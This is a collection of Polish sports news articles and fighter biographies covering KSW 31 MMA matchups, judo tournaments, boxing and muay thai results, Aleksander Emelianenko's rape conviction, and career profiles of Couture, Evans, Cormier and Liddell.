„Pudzian” zmierzy się z członkiem legendarnego klanu – Rollesem Gracie. Brazylijczyk ma nazwisko, jednak czołową postacią światowego MMA nie jest. Pudzianowski i Gracie mają taki sam bilans. Do tej pory stoczyli jedenaście pojedynków, z czego osiem wygrali, a trzy przegrali. W lepszym nastroju do walki przystępuje Pudzianowski, który wygrał trzy ostatnie starcia. W pamięci wszystkich pozostał  długodystansowy i pełen emocji bój z Pawłem Nastulą. Warto dodać, że Pudzian wygrywa, ale w ostatnim czasie tylko i wyłącznie przez decyzje sędziów, więc zapowiada się długi pojedynek. Ostatni raz przez nokaut Polak zwyciężył we wrześniu 2012 roku, kiedy pokonał Christosa Piliafasa. Rolles Gracie zaprezentuje się na KSW po raz drugi i będzie chciał pozostawić po sobie lepsze wrażenie niż podczas debiutu. W premierowym starciu Brazylijczyka wypunktował Karol Bedorf. Gracie niecierpliwie czeka na zwycięstwo, gdyż ostatni raz miał przyjemność triumfować w grudniu 2012 roku.

Karol Bedorf konsekwentnie odprawia kolejnych rywali na KSW. „Coco” stał się mocnym nazwiskiem organizacji i czołową postacią polskiego MMA. W Ergo Arenie w limicie 120kg zmierzy się z Peterem Grahamem. Australijczyk jest już wiekowy i trochę powolny, ale w Polsce pokazał się z dobrej strony. Podczas KSW 28 pokonał Marcina Różalskiego, choć polski fighter przeważał, ale popełnił błąd, który wykorzystał Graham. 39-letni Australijczyk w swojej karierze walczył m.in. w Bellatorze. Ostatni czas w wykonaniu Grahama wygląda delikatnie mówiąc –słabo. W 2015 roku Australijczyk stoczył jeden pojedynek, w którym musiał uznać wyższość Denisa Goltsova. Wygrana z Różalskim nastąpiła po dwóch porażkach w Bellatorze. Co ciekawe, we wrześniu 2009 roku Graham przegrał rywalizację z Rollesem Gracie, z którym kilka miesięcy temu wygrał Bedorf. „Coco” powinien uporać się z wiekowym Australijczykiem.

Goran Relijć ma za sobą przygodę w UFC, o której chciałby zapomnieć. Chorwat stoczył dla najlepszej organizacji mieszanych sztuk walki cztery pojedynki, z których tylko jeden zakończył się jego triumfem. W Polsce radzi sobie jednak bardzo dobrze. Tylko Jan Błachowicz znalazł sposób na Relijcia, który nie poddał się i wrócił na KSW i zrobił wszystko, aby walczyć o pas. Odprawił Karola Celińskiego i Tomasza Narkuna, co dało mu szansę na rywalizację o mistrzostwo. Jego rywalem będzie Attila Vegh, który po czterech latach wraca na KSW. 29-letni Słowak ostatnio brylował na galach Bellatora. Mimo stosunkowo młodego wieku ma już na swoim koncie ponad trzydzieści pojedynków w MMA. Twardy wojownik ze Słowacji będzie chciał zdobyć pas i udowodnić Chorwatowi, że jeszcze nie osiągnął najwyższego poziomu. Warto dodać, że w początkach swojej kariery Vegh musiał uznać wyższość Łukasza Jurkowskiego.

Na KSW 31 zaprezentują się fighterzy, z którymi rozprawił się Relijć. Celiński i Narkun będą chcieli odpowiedzieć na pytanie, który z nich jest najlepszym polskim zawodnikiem w limicie 93kg. W Ergo Arenie wystąpi popularny w Polsce Jay Silva. Kolejny pojedynek stoczy Maciej Jewtuszko, który stanie do rywalizacji z Kamilem Szymuszowskim. W undercard dwie walki: Patryk Grudniewski – Grzegorz Szulakowski oraz Jędrzej Maćkowiak – Marcin Gułaś.

KM  

Randy Couture

Amerykański zapaśnik oraz zawodnik MMA urodzony 22 czerwca 1963 roku w Lynnwood. W swojej karierze zapaśniczej czterokrotnie zdobył mistrzostwo USA w stylu klasycznym: dwukrotnie w kategorii wagowej 90kg (1990,1993) i dwukrotnie w 97kg (1997,1999). Dwukrotnie reprezentował kraj na mistrzostwach świata i był rezerwowym reprezentantem na trzech Igrzyskach Olimpijskich (1988,1992,1996). Złoty medalista Igrzysk Panamerykańskich w 1991 roku. Pięciokrotny medalista Mistrzostw Panamerykańskich. W swoim debiucie w MMA, w 1997 roku wygrał turniej UFC 13. W październiku tego roku, po zwycięstwie nad Maurice’em Smithem, został po praz pierwszy mistrzem UFC wagi ciężkiej. Następnie odszedł z tej organizacji i związał się z japońską organizacją Rings. W 2000 roku powrócił do UFC i po pokonaniu Kevina Randlemana ponownie został mistrzem UFC wagi ciężkiej. W 2001 roku wystartował w turnieju finałowym Rings, jednak przegrał przez poddanie z Valentijnem Overeemem. Następnie dwukrotnie obronił pas mistrzowski UFC w walkach z Pedro Rizzo, po czym stracił go na rzecz Josha Barnetta. Po tej walce w organizmie Barnetta wykryto niedozwolone substancje, w wyniku czego odebrano mu tytuł i zdyskwalifikowano. W tej sytuacji zorganizowano walkę o wakujący pas wagi ciężkiej i wyznaczono do niej Couture’a oraz Ricco Rodrigueza. Randy doznał dotkliwej porażki. Wkrótce potem postanowił się przenieść do kategorii półciężkiej. W czerwcu 2003 roku pokonał Chucka Liddella w walce o tymczasowy pas mistrzowski. We wrześniu 2003 roku, wygrał z mistrzem tej kategorii wagowej Tito Ortizem, stając się tym samym pierwszym zawodnikiem w UFC który zdobył pas mistrzowski dwóch kategorii wagowych. Mistrzostwo stracił na rzecz Vitora Belforta, lecz pół roku później odzyskał je pokonując Belforta przez techniczny nokaut. W 2005 roku został trenerem w reality show The Ultimate Fighter. Drugim trenerem był Chuck Liddell, i to z nim miał walczyć w kolejnej walce. Szybko jednak został znokautowany i stracił pas. Do trzeciego starcia doszło w 2006 roku i ponownie lepszym okazał się Chuck Liddell. Po tej porażce ogłosił zakończenie sportowej kariery.  W marcu 2007 roku zmierzyć się z Timem Sylvią. 43 letni Couture zdominował swojego rywala i wygrał jednogłośną decyzją sędziów. Został pierwszym zawodnikiem UFC, który pięciokrotnie sięgał po pas mistrzowski. W sierpniu 2007 roku broniąc tytuł pokonał przez TKO Gabriela Gonzagę. Po tym jak mistrz wagi ciężkiej Pride FC Fiodor Jemieljanienko oznajmił, że nie zamierza się wiązać z UFC, Amerykanin ponownie ogłosił zakończenie sportowej kariery, tłumacząc że walka z Rosjaninem była jego ostatnim wyzwaniem w MMA. Jednak niecały rok później podpisał z UFC nową umowę na trzy walki. Pierwsza z nich odbyła się 15 listopada 2008 roku przeciwko Brockowi Lesnarowi. Stawką tego pojedynku był pas mistrzowski wagi ciężkiej. Couture przegrał  przez TKO w drugiej rundzie. Po kolejnej porażce tym razem z Antonio Nogueirą, zdecydował się na powrót do wagi półciężkiej. 14 listopada 2009 roku pokonał przez jednogłośną decyzję Brandona Verę. 6 lutego 2010 pokonał Marka Colemana. 28 sierpnia 2010 roku wygrał przez poddanie z Jamesem Toneyem.  30 kwietnia 2011 roku podczas UFC 129 został znokautowany przez Lyoto Machidę. Po tej walce blisko 48 letni Couture ogłosił zakończenie sportowej kariery.

Atak trzech Polek

Czy odniosą sukces? Agata Ozdoba (63 kg), Katarzyna Kłys (70 kg) oraz Daria Pogorzelec (78 kg) wystąpią w turnieju World Masters w Maroko, który odbędzie się w dniach 23-24 maja.

Zapowiada się rywalizacja na najwyższym poziomie. W Maroko zaprezentują się czołowe postaci światowego judo. Można powiedzieć, że będą to mini – mistrzostwa świata, gdyż w turnieju wystąpi po szesnastu najlepszych zawodników i zawodniczek w każdej kategorii wagowej. Tym samym o sukces będzie niezwykle trudno i trzeba dołożyć wszelkich starań, aby osiągnąć dobry rezultat. Polki mają zadanie o tyle utrudnione, że żadna z nich nie jest rozstawiona w World Masters. Już na początku przyjdzie im rywalizować z zawodniczkami z pierwszej ósemki światowego rankingu.

W ostatnim czasie w najlepszej dyspozycji jest Daria Pogorzelec. Polka notuje kapitalne występy w międzynarodowych zawodach i zbiera cenne punkty w rankingu olimpijskim. W Pucharze Świata w Zagrzebiu Pogorzelec wywalczyła brązowy medal, w Grand Slam w Baku powtórzyła wynik. Warto zaznaczyć, że Polka radziła sobie świetnie i odprawiała z kwitkiem utytułowane rywalki. W Baku wyższość naszej zawodniczki musiała uznać Kayla Harrison – mistrzyni olimpijska z Londynu. Guusje Steebhuis wygrała zawody w Azerbejdżanie, jednak wcześniej w Zagrzebiu poniosła porażkę w starciu z Darią Pogorzelec, która pozbawiła Holenderkę szans na medal. Reprezentantka Polski musi utrzymać dobrą dyspozycję, aby zapewnić sobie start na igrzyskach w Rio de Janeiro. Jeśli nadal będzie osiągała takie wyniki to z pewnością wystąpi w Brazylii. Na dzień dzisiejszy bilety do Rio mogą rezerwować Agata Ozdoba oraz Katarzyna Kłys. Brązowa medalista mistrzostw Europy z Montpellier utrzymuje stabilną formę, choć nie osiąga  spektakularnych wyników. Polak gromadzi punkty w rankingu olimpijskich. W ostatnim starcie w Baku zajęła 5. pozycję. Akcje Katarzyny Kłys nadal stoją wysoko, jednak w tym sezonie zawodniczka występująca w kategorii 70kg nie wzbiła się na szczyt.

Także przed występem w Maroko największe nadzieje wiązane są z Darią Pogorzelec. W prestiżowym turnieju pula nagród wynosi 200 tysięcy dolarów. Za pierwsze miejsce zawodnik może zarobić sześć tysięcy, przegrany zgarnie cztery tysiące.

Zawody World Masters są stosunkowo młodą imprezą, gdyż zostaną rozegrane dopiero po raz piąty. Wracają do kalendarza po roku przerwy. Ostatni raz zawody World Masters odbyły się w 2013 roku w Tiumeniu, ale Polacy tam nie startowali. Najlepszy występ spośród naszych reprezentantów zanotowała Urszula Sadkowska (+78kg), która w 2010 roku uplasowała się na trzecim miejscu. Czy któraś z zawodniczek poprawi osiągnięcie starszej koleżanki? Z pewnością będzie to dobra okazja do sprawdzenia swojej formy na rok przed igrzyskami olimpijskimi. Najwyższy poziom rywalizacji, zawodniczki z czołówki i szansa na sukces. Polki ruszają na podbój – World Masters w marokańskim Rabacie.

KM

Cotto – Alvarez coś jest na rzeczy

Saul „Canelo” Alvarez wykonał swoją robotę wzorowo. Meksykanin zbombardował Jamesa Kirklanda i zanotował czterdzieste piąte zwycięstwo na zawodowym ringu. Alvarez chce kolejnych wyzwań, w których będzie mógł walczyć o najwyższe laury.

„Canelo” nie ukrywa, że marzy mu się walka z Floydem Mayweatherem Jr. Alvarez wpisuje się w popularny obecnie nurt – tych, dla których pojedynek z „Moneyem” jest głównym celem. Jednak Meksykanin walczył już z Mayweatherem i poniósł porażkę, jak do tej pory jedyną w swojej karierze. Dlatego też chce rewanżu, aby udowodnić, że jest lepszym bokserem. – Chciałbym stanąć w ringu z Floydem. Uważam, że jestem zdecydowanie lepszym bokserem niż podczas naszego ostatniego spotkania – szczerze przyznał Alvarez. Czy „Canelo” będzie miał okazję zmierzyć się z Mayweatherem? Niewykluczone, że pojedynek odbyłby się we wrześniu, jednak są inni kandydaci do starcia z Meksykaninem. Wśród nich wymienia się Miguela Cotto.

Portorykańczyk jest mistrzem świata WBC wagi średniej i właśnie to ta federacja od jakiegoś czasu optuje za organizacją tego pojedynku. Jednak Cotto czeka inne wyzwanie. Najbliższym rywalem mistrza świata WBC będzie Australijczyk Daniel Geale. Po tym pojedynku wszystko jest możliwe, gdyż federacja naciska i o idei walki Cotto – Alvarez mówi się od dłuższego czasu. Meksykanin dzierży w swoich dłoniach pasy WBA i WBC wagi junior średniej. Alvarez to młody pięściarz, który w ringu zaprezentował się prawie pięćdziesiąt razy i w wielu przypadkach potrafił efektownie kończyć rywalizację. Z kolei Cotto to pięściarz walczący rzadko, zwłaszcza w ostatnim czasie. W 2014 roku stoczył zaledwie jeden pojedynek, w którym pokonał Sergio Martineza. Pechowy dla Portorykańczyka był rok 2012, kiedy doznał dwóch porażek – z Mayweatherem oraz Troutem. Jednak cały czas Cotto to mocne nazwisko w świecie boksu i czołowy pięściarz wagi średniej.

Walka z Gealem może otworzyć mu drzwi do pojedynku z Alvarezem. Nie sam pojedynek, ale zwycięstwo. Cotto nie rozdaje kart, musi udowodnić swoją wartość, aby spełniły się jego plany. Portorykańczyk chce walki z Alvarezem, czym spełni oczekiwania organizacji WBC. Warto pamiętać, że w kontrakcie na walkę powinien być zawarty punkt, który obligował będzie zwycięzcę tego starcia do spotkania się w ringu z tymczasowym mistrzem WBC wagi średniej Giennadijem Gołowkinem. Zarówno dla Alavreza i Cotto jest to ogromne wyzwanie. „Canelo” delikatnie się od niego wymiguje, Portorykańczyk również jest ostrożny. Niepokonany Kazach jest pięściarzem, który w wadze średniej budzi postrach. Jednak Gołowkina trzeba odstawić na bok, gdyż najpierw musi dojść do starcia Cotto – Alvarez. A jak mówi sam Portorykańczyk: – Pojedynek Cotto – Alvarez jest coraz bliżej. „Canelo” wykonał swoją pracę pokonując Kirklanda. Teraz ja muszę 6 czerwca wygrać walkę, aby myśleć o rywalizacji z nim.

Spotkanie Cotto z Alvarezem byłoby ciekawą propozycją. Pięściarze mają bogate dokonania w ringu i mocne nazwiska, co przyciągnęłoby uwagę. Tylko, czy będą w stanie osiągnąć porozumienie. Tutaj chęci nie wystarczą. Trzeba usiąść i przegadać temat.

KM

Cieśliński zdobył Berlin

Ali El-Saleh musiał uznać wyższość polskiego zawodnika. Mariusz Cieśliński zwyciężył w pojedynku, który odbył się na zasadach muaythai. Doświadczenie Polaka wzięło górę.

W Berlinie zaprezentowała się trójka naszych zawodników. Oprócz Cieślińskiego w ringu pojawili się: Dawid Polok i Maciej Zembik. Galę Heroes Fight Night w stolicy Niemiec dobrze wspominał będzie tylko jeden z Polaków. Mariusz Cieśliński wygrał, choć łatwo nie było. Doświadczenie Polaka wzięło górę. Warto nadmienić, że Cieśliński od lat obecny jest na najlepszych ringach świata. Polak zdobywał złote medale mistrzostw świata WAKO kickboxing full contact, był mistrzem Europy low-kick, a także posiada w swojej kolekcji brązowe medale z mistrzostw świata WMF w Bangkoku.  Lista osiągnięć Cieślińskiego jest długa, ale warto pamiętać, że to nie tytuły walczą, lecz człowiek. Polak pokazał, iż doświadczenie jest ogromną wartością, które może pomóc pokonać młodego i energicznego fightera. A takim bez wątpienia jest Ali El – Saleh. Zawodnik gospodarzy był dwa razy młodszy od Cieślińskiego. Jednak w ringu przemówiły mocne i precyzyjne ciosy. Niemiec nie był w stanie przeciwstawić się Polakowi, który był aktywny i przeważał. Saleh szybko zapoznał się z nawierzchnią. Już w pierwszej rundzie był liczony, kiedy to po lewym sierpowym Cieślińskiego padł na deski. Polak dominował i starał się obijać swojego przeciwnika. Konsekwentnie maltretował lewą nogę Niemca, który próbował wykorzystać swoje techniki bokserskie, ale doświadczenie Cieślińskiego pozwalało mu cało wychodzić z opresji. Polak często klinczował i przy okazji używał kolan. Mądra postawa Cieślińskiego dała mu pewne zwycięstwo w starciu z młodym El –Salehem.

Niestety, tylko jeden Polak triumfował w Berlinie. Dwaj pozostali nie sprostali wyzwaniom, które stanęły przed nimi. Chaivat Uhlemann nie miał litości dla Dawida Poloka. Walka trwała pięć rund i do końca trzeba było czekać na werdykt, ale w czasie trwania walki Niemiec tajskiego pochodzenia nie pozostawił złudzeń, kto jest lepszy. Polok dwukrotnie padał po ciosach rywala. Uhlemann zaskoczył polskiego fightera łokciem i kopnięciem na głowę. Polak nie potrafił skutecznie odpowiedzieć, w efekcie czego poniósł porażkę. Przegrał również Maciej Zembik. Benjamin Malekzadeh był w zasięgu Polaka, ale zabrakło szczęścia. Pierwsze dwie rundy wyrównane i wydawało się, że przyjdzie czas, w którym Zembik poszuka swojej szansy na zwycięstwo. Uprzedził go rywal. W trzeciej rundzie Malekzadeh wyprowadził kolanem cios na wątrobę. Polak był liczony i od tej pory przewagę zyskał Niemiec, który był konsekwentny i wygrał.

Na gali Kunlun Fight na Słowacji zaprezentował się Łukasz Pławecki. Polak w kategorii wagowej do 70kg zmierzył się z Superbonem Banchamekiem. W drugiej rundzie Taj mocno kolanem naruszył Polaka, który był liczony. Pławecki dotrwał do końca, jednak werdykt okazał się bezlitosny – porażka.

KM

Emelianenko skazany

Nad głową byłej gwiazdy PRIDE wisiały czarne chmury i w końcu spadł z nich deszcz. Aleksander Emelianenko dostał czas, aby zastanowić się, co dalej zrobić z życiem. Rosjanin wszedł z konflikt z prawem i musiał liczyć się z karą.

Prokuratura wnioskowała o pięć lat pozbawienia wolności, jednak sąd wydał wyrok czterech i pół roku. Czas ten rosyjski gigant spędzi w kolonii karnej. Dodatkowo zapłaci pięćdziesiąt tysięcy rubli grzywny. Tydzień temu odbyła się pierwsza rozprawa, podczas której prokurator żądał kary pięciu lat pozbawienia wolności. Podczas kolejnego posiedzenia sądu adwokat Emelianenki przedstawił stanowisko klienta, który nie przyznawał się do winy. Rosjanin nie pojawił się wtedy na sali rozpraw.

Emelianenko był posądzony o dokonanie gwałtu na pokojówce, które sprzątała jego mieszkanie. Do zdarzenia miało dojść w marcu 2014 roku. Dodatkowo Rosjanin ukradł kobiecie paszport i przetrzymywał ją w swoim apartamencie. Ponadto, Emelianenko siłą zmuszał ją do zażywania narkotyków. Po rozpoznaniu sprawy sąd przychylił się do wniosku prokuratora. Ostatecznie Emelianenko został uznany winnym dokonania gwałtu i kradzieży dokumentów kobiety. Prokurator wycofał zarzut dotyczący zmuszania pokojówki do zażywania narkotyków. Sąd skazał Rosjanina na cztery i pół roku kolonii karnej oraz nałożył na byłego zawodnika MMA karę grzywny w wysokości 50 tysięcy rubli. Obrońca Emelianenki zapowiedział odwołanie się od wyroku. Jego zdaniem jest on niesłuszny i narusza dobro Rosjanina. Warto dodać, że sąd może przychylić się do takiego wniosku, gdyż Emelianenko od 10 maja 2014 roku przebywa w areszcie. Dlatego też obrońca rosyjskiego ciężkiego liczy na weryfikację wyroku.

Wystarczy powiedzieć, że Emelianenko zaprzepaścił swoją sportową szansę na rzecz rozrywkowego stylu życia. Wszystko jest dla ludzi, ale z umiarem. Emelianenko miał ogromne możliwości, przecież swego czasu był czołową postacią PRIDE, jednak z czasem pochłonęły go inne płaszczyzny życia. Nie potrafił określić, co jest dla niego najważniejsze. Zupełnie inaczej niż jego brat Fedor, który stał się ikoną MMA. Aleksander wybrał inną drogę. Nie stronił od alkoholu, używek, ale szkodził nie tylko sobie, ale stawał się zagrożeniem dla społeczeństwa. Rosjanin podczas lotu samolotem zastraszał pasażerów i obsługę. Nie stronił od burd i zamieszek. Potrafił też po alkoholu wsiąść za kierownicę, co skończyło się dla niego fatalnie. Wjechał w słup, po czym trafił do aresztu.

Sprawa Emelianenki dobiega końca. Sąd wydał wyrok, Rosjanin może odwołać się od niego, ale kary już nie uniknie. Po raz ostatni walczył w styczniu 2014 roku, jednak forma już nie ta i przegrana nikogo nie zaskoczyła. W obecnej sytuacji warto zadać sobie pytanie: czy Aleksander Emelianenko wróci jeszcze do MMA? Być może po odbyciu kary rywalizacja sportowa okaże się szansą na stabilizację i powrót do normalnego życia.

KM

Rashad Evans

Amerykański zawodnik MMA urodzony 25 września 1979 roku w Niagara Falls.  Przygodę ze sportami walki Rashad rozpoczął w szkole średniej gdzie uprawiał zapasy.  Po ukończeniu nauki w szkole w 1998 roku, Evans rozpoczął studia w Niagara County Community College, zdobywając dwa lata później zapaśnicze mistrzostwo Stanów Zjednoczonych w kategorii juniorów do 75kg. To wydarzenie przyczyniło się do jego przenosin na Michigan State University, gdzie rywalizując w kategorii do 79kg. przez trzy kolejne lata wygrał 48 pojedynków a przegrał 34. W MMA zaczął walczyć w 2004 roku. Gdy wygrał pięć zawodowych walk z rzędu został zaproszony w 2005 roku do telewizyjnego programu The Ultimate Fighter, w którym w finale pokonał Brada Imesa. Dzięki temu w 2006 roku podpisał kontrakt z UFC. Walcząc dla tej organizacji, do maja 2009 roku wygrał wszystkie walki oprócz jednej remisowej z Tito Ortizem. 27 grudnia 2008 roku odebrał pas mistrzowski wagi półciężkiej Ferrestowi Griffinowi, pokonując go przez TKO w trzeciej rundzie. Jego passa kolejnych 14 zwycięstw zakończyła się na gali UFC 98. 23 maja 2009 stracił tytuł na rzecz Lyoto Machidy. W ciągu następnych dwóch lat odniósł cztery wygrane z rzędu nad Thiago Silvą, Quintonem Jacksonem, Tito Ortizem i Philem Davisem, co ponownie zapewniło mu pozycję pretendenta do mistrzostwa.  21 kwietnia 2012 na gali UFC 145 zmierzył się Jonem Jonesem. Evans przegrał ten pojedynek decyzją sędziów. W 2013 roku wygrał dwa pojedynki z Danem Hendersonem i Chaelem Sonnenem.

Polak o krok od triumfu w Rosji

No dobrze. Jeśli chcemy być precyzyjni to o dwa kroki. Tomasz Szczepaniak zaprezentował się z dobrej strony podczas zawodów Pucharu Europy w judo w Orenburgu, gdzie wywalczył trzecie miejsce.

Polski judoka stopniowo puka do drzwi seniorskiego świata. Szczepaniak to rocznik 1993, a także nadzieja polskiego judo. W końcu musi stanąć na nogi i rywalizować jak równy z równym na poziomie seniorskim. 22-latek był stawiany w jednym rzędzie z Damianem Szwarnowieckim jako przyszłość polskiej kadry. Głośniej jest o jego koledze, ale Szczepaniak pokazuje, że też chce być czołowym polskim judoką. W 2013 roku został wicemistrzem Europy juniorów. Ten sukces pokazał, że w Szczepaniaku tkwią możliwości. Wtedy startował w kategorii wagowej 81kg.

W Orenburgu polski judoka zaprezentował się w 90kg. Szczepaniak podążał do finału. Polak był zdecydowany, walki przebiegały pod jego dyktando. W Orenburgu dobrze radził sobie z gospodarzami, gdyż odprawił z zawodów dwóch reprezentantów Rosji. Izmayl Khamkhoev był pierwszym rywalem polskiego judoki i nie potrafił sprostać naszemu zawodnikowi. W drugiej walce Szczepaniak trafił na Rijada Dedeicia z Bośni i Hercegowiny, który w pierwszej rundzie miał wolny los i automatycznie awansował do kolejnego etapu rywalizacji. Jak się okazało długo nie musiał się męczyć w Orenburgu, gdyż Polak podziękował mu za udział w turnieju. Rywalem Szczepaniaka w walce o półfinał był Aleksander Vorobyev.  Polak wygrał i pozostawał mu tylko wybór, co do koloru medalu. W półfinale trafił na reprezentanta Francji Axela Clergeta. Można dywagować, co by było, gdyby Szczepaniak trafił na innego przeciwnika, ponieważ w drugiej parze spotkali  się zawodnicy gospodarzy. A jak pokazała historia –Polak na Rosjan patent w Orenburgu opracował. Niestety, Francuza nie udało  się pokonać. Warto nadmienić, że Clerget wygrał rywalizację w kategorii 90kg. Szczepaniak uplasował  się na trzecim miejscu, a w decydującym pojedynku pokonał reprezentanta Finlandii Alliego Jakko.

Warto odnotować również występ Urszuli Hofman, która w Orenburgu zajęła 5. pozycję. Należy podkreślić, że kategoria wagowa polskiej zawodniczki (70kg) nie była zbyt licznie obsadzona. Startowało zaledwie osiem zawodniczek. Hofman wygrała jedną walkę i dwie przegrała, co w ostateczności przełożyło się na zajęcie przez nią piątego miejsca w zawodach Pucharu Europy. Hofman uporała się z Ianą Kriukovą i już mogła myśleć o medalu. Trzeba było wykonać tylko krok do przodu. W kolejnym pojedynku Polka trafiła na przeszkodę nie do przejścia. Aleksandra Samardzić z Bośni i Hercegowiny pokonała Polkę, a następnie rozprawiła się Valentiną Maltsevą, co dało jej triumf w turnieju. Hofman miała jeszcze szansę stanąć na podium, ale zaprzepaściła ją w repasażach. Zamzagul Faizollanova z Kazachstanu wybiła naszej zawodnicze w głowy marzenia o medalu. Zawody Pucharu Europy nie są wliczane do rankingu olimpijskiego.

KM

Daniel Cormier

Amerykański zapaśnik stylu wolnego urodzony 20 marca 1979 roku w Lafayette.  Daniel jest pięciokrotnym mistrzem USA, medalistą Igrzysk panamerykańskich i mistrzostw świata oraz dwukrotny olimpijczyk. Od 2009 roku jest również zawodnikiem MMA. W 2001 roku reprezentując Oklahoma State University, został wicemistrzem NCAA Division I w swojej kategorii wagowej. W tym samym roku został włączony do seniorskiej kadry narodowej w stylu wolnym gdzie startował w kategorii wagowej do 96kg. Rok później odniósł swój pierwszy sukces na arenie międzynarodowej , gdy został w Maracaibo mistrzem panamerykańskim. W 2003 roku wywalczył tytuł mistrza kraju, zdobył złoty medal igrzysk panamerykańskich w Santo Domingo oraz uplasował się na piątym miejscu podczas mistrzostw świata w Nowym Jorku. W 2004 roku wygrał krajowe kwalifikacje olimpijskie i wystartował na igrzyskach w Atenach. Wygrał tam swoją grupę eliminacyjną, pokonując wysoko na punkty Radovana Valacha oraz Bartłomieja Bartnickiego, i awansował do półfinału, w którym przegrał z późniejszym złotym medalistą Chadżymuratem Gacałowem. W walce o brązowy medal, Cormier uległ jednym punktem Irańczykowi Alirezie Heidariemu i ostatecznie zajął czwarte miejsce na Olimpiadzie. W kolejnych dwóch latach bez powodzenia startował w mistrzostwach świata, zajmując odległe pozycje. W 2005 roku zajął drugie miejsce na Pucharze Świata. Rok 2007 przyniósł mu dwa międzynarodowe sukcesy. W lipcu zdobył brązowy medal na igrzyskach panamerykańskich w Rio de Janeiro, a we wrześniu zdobył również brązowy medal na Mistrzostwach Świata w Baku. Będąc jednym z najbardziej doświadczonych zapaśników w amerykańskiej kadrze, w 2008 roku dostąpił honoru bycia kapitanem reprezentacji na Igrzyskach w Pekinie. Ostatecznie jednak nie stoczył ani jednej walki, gdyż na kilkadziesiąt minut przed pierwszym pojedynkiem został odwieziony do szpitala. Zdiagnozowano u niego ostrą niewydolność nerek, która była spowodowana nagłym odwodnieniem organizmu. Po igrzyskach w Pekinie zakończył karierę zapaśniczą i rozpoczął treningi MMA. Profesjonalny debiut zanotował we wrześniu 2009 roku. W ciągu kilkunastu miesięcy, walcząc dla organizacji Strikeforce, KOTC, XMMA wygrał siedem pojedynków z rzędu. W 2011 roku wystartował w turnieju World Grand Prix wagi ciężkiej Strikeforce w roli zawodnika rezerwowego. Po pokonaniu Jeffa Monsona zajął miejsce Alistaira Overeema w półfinale, zmierzył się w nim z Antonio Silvą. Daniel znokautował Brazylijczyka w pierwszej rundzie. W rozegranym 19 maja 2012 roku finale walczył przeciwko Joshowi Barnettowi. Cormier zdominował swojego rywala i wygrał walkę jednogłośną decyzją, zostając mistrzem całego turnieju. Pod koniec roku Cormier podpisał kontrakt z UFC który miał obowiązywać po jego ostatniej walce w Strikeforce czyli 12 stycznia. Po przejściu do UFC pokonał takich zawodników jak: Frank Mir, Roy Nelson, Patrick Cummins, Dan Henderson. 3 stycznia 2015 roku walczył o mistrzostwo UFC wagi półciężkiej przeciwko Jonowi Jonesowi. Ostatecznie Cormier przez jednogłośną decyzję sędziów. 23 maja 2015 roku Daniel Cormier pokonał Anthony'ego Johnsona w walce o pas wagi półciężkiej, tym samym zdobywając tytuł.

Chuck Liddell

Amerykański zawodnik MMA urodzony 17 grudnia 1969 roku w Santa Barbara. Swoją karierę w MMA rozpoczął w 1998 roku, kiedy na gali UFC 17 pokonał Noe Hernandeza. Po tej wygranej odniósł serię zwycięstw nad uznanymi zawodnikami takimi jak: Kevin Randleman, Vitor Belfort czy Renato Sobral. Te wygrane dały mu miano świetnego uderzacza. Wkrótce stał się głównym pretendentem do walki o tytuł z mistrzem wagi półciężkiej Tito Ortizem. Ortiz jednak unikał tego starcia. Aby go zmusić do walki, władze UFC zaaranżowały w czerwcu 2003 pojedynek o tymczasowy pas mistrzowski i wyznaczyły do niego Liddella i Randy’ego Couture’a. Liddell przegrał przez techniczny nokaut. W 2003 roku wystartował w turnieju Pride FC Grand Prix 2003. W pierwszych rundach pokonał Alistaira Overeema i Guya Mezgera, po czym w półfinale doznał dotkliwej porażki z Quintonem Jacksonem. Po powrocie do UFC  wreszcie zmierzył się z Tito Ortizem, który kilka miesięcy wcześniej stracił pas mistrzowski na rzecz Couture’a.  Chuck wygrał przez techniczny nokaut i ponownie stał się głównym pretendentem do walki o mistrzostwo. Zanim doszło do tej walki obaj Panowie zostali trenerami w pierwszym sezonie reality show The Ultimate Fighter. Do walki doszło w kwietniu 2005 roku. Liddell już w pierwszej rundzie znokautował rywala. Następnie pokonał przez nokaut Jeremy’ego Horna. Po tej wygranej doszło do trzeciego starcia z Couture’em. Również i tym razem pokonał go przed czasem. Ponowne zwycięstwa nad Renato Sobralem i Tito Ortizem potwierdziły jego dominację w wadze półciężkiej. W maju 2007 roku doszło do walki rewanżowej z Quintonem Jacksonem. Liddell przegrał przez techniczny nokaut i stracił mistrzostwo. Kilka miesięcy później przegrał z Keithem Jardinem. W grudniu 2007 roku stanął do walki z Wanderleiem Silvą. Wygrał ją przez decyzję. W kolejnych dwóch pojedynkach został ciężko znokautowany przez Rashada Evansa i Mauricio Ruę, co doprowadziło do przerwania jego kariery na ponad rok. Powrócił w czerwcy 2010 podczas gali UFC 115. Poniósł wtedy trzecią porażkę przez nokaut, tym razem z Richem Franklinem. 29 grudnia 2010 roku ogłosił zakończenie sportowej kariery. Pozostał jednak związany z UFC. Objął stanowisko wiceprezydenta tej organizacji do spraw rozwoju. 

Niepokonana Brodnicka

Kolejna wygrana polskiej bokserki na zawodowym ringu. Na gali Tymex Boxing Night w Inowrocławiu Ewa Brodnicka na punkty pokonała Monicę Gentili.

Polka przyzwyczaiła do pewnego poziomu, poniżej którego nie schodzi. Brodnicka potrafi zdominować rywalkę, zepchnąć ją do głębokiej defensywy i kontrolować cały pojedynek. Po raz pierwszy w karierze Brodnicka miała w ringu problemy. Włoszka zaskoczyła Polkę i okazała się wymagającą rywalką. Gentili, choć liczy już 37 wiosen i bilansem raczej nie imponowała (4-2), to pokazała dobry boks. Pierwsza runda na rozpoznanie, ale im dalej w las tym Włoszka ruszała odważniej do przodu. A Brodnicka miała problemy. Gentili była agresywna niczym lwica, która chce zdobyć pokarm dla małego lwiątka. Włoska lwica nie miała jednak określonej taktyki, co nie pozwoliło jej wypunktować Polki. Brodnicka broniła się przed kolejnymi ciosami rywalki, ale te w większości były niecelne. Gdy Włoszka trochę się zmęczyła, Polka przejęła inicjatywę. Brodnicka wyprowadzała celne ciosy, co było jej dużym atutem. Gentili jeszcze w końcówce ruszyła do ataku, ale bez większych efektów. Sędziowie byli jednomyślni i przyznali zwycięstwo Polce, jednak w ocenie każdego z nich pojedynek wyglądał zupełnie inaczej – 80:73, 77:76 i 78:75.

